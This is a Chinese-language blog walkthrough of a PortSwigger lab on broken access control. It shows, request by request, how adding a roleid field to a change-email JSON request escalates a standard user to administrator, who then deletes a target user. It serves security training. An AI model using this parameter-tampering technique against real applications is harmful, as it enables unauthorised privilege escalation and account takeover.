权限控制漏洞实战:利用角色修改实现权限提升

本文详细记录了如何通过利用权限控制漏洞,从普通用户提升至管理员权限的完整过程。通过分析PortSwigger实验室中的实际案例,展示了修改角色ID参数实现权限升级的技术细节,包括初始侦察、漏洞识别、攻击利用和最终目标达成等关键步骤。

权限控制漏洞实战:利用角色修改实现权限提升

我最近完成了PortSwigger Web安全学院中权限控制漏洞模块的第四个实验。这个实验室展示了一个常见但关键的网络应用漏洞:权限控制失效。

在这篇文章中,我将详细分析这个漏洞以及我利用它的步骤。

实验设置:简单目标与权限障碍

实验室提出了一个直接的目标:获取管理员面板访问权限并删除用户carlos。

管理员面板位于/admin端点,但受到保护。只有经过身份验证且roleid为2的用户才能访问。作为登录的标准用户,我最初的roleid是1。

第一步:初始侦察

使用提供的凭据登录后,我导航到"我的账户"页面。该部分包含更新电子邮件地址的功能,这是任何网络应用中的常见功能。

我输入了一个新的电子邮件地址,点击"更新",并使用Burp Suite拦截了请求。这是初始POST请求到/my-account/change-email的样子:

1
2
3
4
POST /my-account/change-email HTTP/2
Host: vulnerable-website.net
...
{"email":"attacker@gmail.com"}

服务器的响应很有启发性:

1
2
3
4
5
6
{ 
  "username":"wiener", 
  "email":"attacker@gmail.com", 
  "apikey":"CEIDt80+bOPP3d4sylllyc3efm7LCAVO", 
  "roleid":1
}

服务器不仅确认了电子邮件更改,还泄露了敏感的用户元数据,包括我的roleid。

第二步:识别漏洞

应用程序的行为立即引起了警觉。为什么客户端会收到roleid?更重要的是,客户端能否影响它?

这指向了一个经典的权限控制失效问题。服务器未能正确授权用户提交的请求,隐含地信任客户端不会篡改自己的权限级别。

第三步:构造攻击

我将电子邮件更新请求发送到Burp Repeater以便更容易操作。然后我修改了JSON主体以包含roleid参数,试图将自己提升为管理员。

修改后的请求:

1
2
3
4
5
6
7
POST /my-account/change-email HTTP/2
Host: vulnerable-website.net
...
{ 
  "email":"attacker@gmail.com", 
  "roleid":2
}

服务器响应:

1
2
3
4
5
6
{ 
  "username":"wiener", 
  "email":"attacker@gmail.com", 
  "apikey":"CEIFC08zhOPD346ylllyc39fmTLCAVO", 
  "roleid":2
}

成功!服务器接受了我的新roleid并相应更新了我的权限。访问控制确实被破坏了。

第四步:达成目标

有了新的roleid为2,我现在是管理员了。刷新页面后,导航菜单中显示了之前隐藏的"管理员面板"链接。

我导航到/admin,找到用户管理部分,并删除了carlos,成功完成了实验室。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计